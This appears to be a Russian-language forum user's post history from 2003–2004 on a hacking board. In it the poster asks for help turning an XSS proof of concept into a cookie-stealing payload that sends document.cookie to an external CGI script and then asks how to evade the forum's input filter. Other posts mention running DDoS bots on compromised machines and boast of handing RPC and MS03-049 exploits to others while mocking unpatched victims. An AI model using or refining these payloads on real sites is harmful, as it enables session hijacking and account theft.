|
06.05.2004 10:53:30
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
|
|||
|
|
|
|
03.05.2004 21:48:22
Во-вторых, на удалённые тачки можно запустить DDoS-ботов и заставлять тачки "гасить" разные другие тачки в сети
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
|
|||
|
|
|
|
20.04.2004 18:11:32
Я правильно понял, что строку типа:
showthread.php?t=[VID]&page=[INT][XSS] нужно вставить в строку набора адреса в браузере? Тады должно получиться что-то типа: [VID]&page=[INT][XSS] Всё верно?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
|
|
|
|
|
|
30.03.2004 17:06:54
Mr.Clumsy
Спасибо. Вот только проблема: форум,похоже, фильтрует такие штуки, т.к. после создания сообщения с кодом: [FONT=expression(document.location.replace ('http://www.feronix.h12.ru/cgi-bin/cookie.cgi?cookie='+docu ment.cookie))] после редактирования текст кода показан как: [FONT=expression(document.location.replace (] То есть сервак вырезал адрес редиректа. Я сначала думал, что это я стормозил и так написал, но после 5'икратного повтора редактирования сообщения понял, что всё-таки это форум вырезает  Пытался вместо символа "+" писать "%2B" - всё равно вырезает ((Остаётся только проверить будет ли форум фильтровать, такие запросы, если я это в свою подпись включу... Или, может, есть другие способы обхода фильтра?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
|
|
|
|
|
|
29.03.2004 23:24:53
MishaSt
Ты недопонял Мне строку: [FONT=expression(alert(document.cookie))]text</font> Нужно модифицировать так, чтоб был редирект на мой скрипт И я спрашивал как это сделать? Я так понял, что модифицированный сплоит должен выглядеть так: [FONT=expression(document.location.replace ('http://www.feronix.h12.ru/cgi-bin/cookie.cgi?cookie='+docu ment.cookie))]text</font> Я всё правильно понял?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
|
|
|
|
|
|
28.03.2004 23:30:47
Есть сервер, в котором мона осуществить межсайтовый скриптинг:
[FONT=expression(alert(document.cookie))]text</font> will made the HTML : <span style='font-family:expression(alert(document.cookie))'>te xt</span> Есть некий сервер server.com На нём лежит мой скрипт: server.com/cgi-bin/cookie.cgi Задача: саму строку эксплоита модифицировать так, чтоб исполнялся мой скрипт с сервера server.com Не поможите?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
|
|
|
|
|
|
19.12.2003 13:10:16
Если б я знал Дельфи (вернее, Паскаль)... Я же ни один язык не знаю... пока [IMG][/IMG] Может, всё-таки поделишься[IMG][/IMG]
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
|
|||
|
|
|
|
19.12.2003 13:06:33
Именно: нехрен наплёвывать на безопасность! Не думает о безопасности - сносить такого админа!!! Даже файерволл не настроить! Я как узнал об уязвимости - тут же создал правила в Аутпосте! Ещё даже эксплоит не вышел! А сейчас до сих пор какие-то **** не пропатчились. Что ж, значит, будут доенными коровами [IMG][/IMG]
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
|
|||
|
|
|
|
19.12.2003 09:18:54
И от кого будет больше ущерба: то RPC Exploit GUI v2, от которого уже большая часть челов защитилась, или от Workstation Service Remote Exploit (MS03-049), про который далеко не все знают? Потом: ламерьё этим эксплоитьм не так уж и часто пользуется, т.к. не знают как и что вводить, даже глядя на поставляемый план! Сам проверил: паре ламеров и юзеров дал - нифига! Для скрипткидди сделаны практически все эксплоиты. Да и потом: что я виноват, что ли, что всякие лохи невзирая на предупреждения не патчатся?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
|
|||
|
|
|
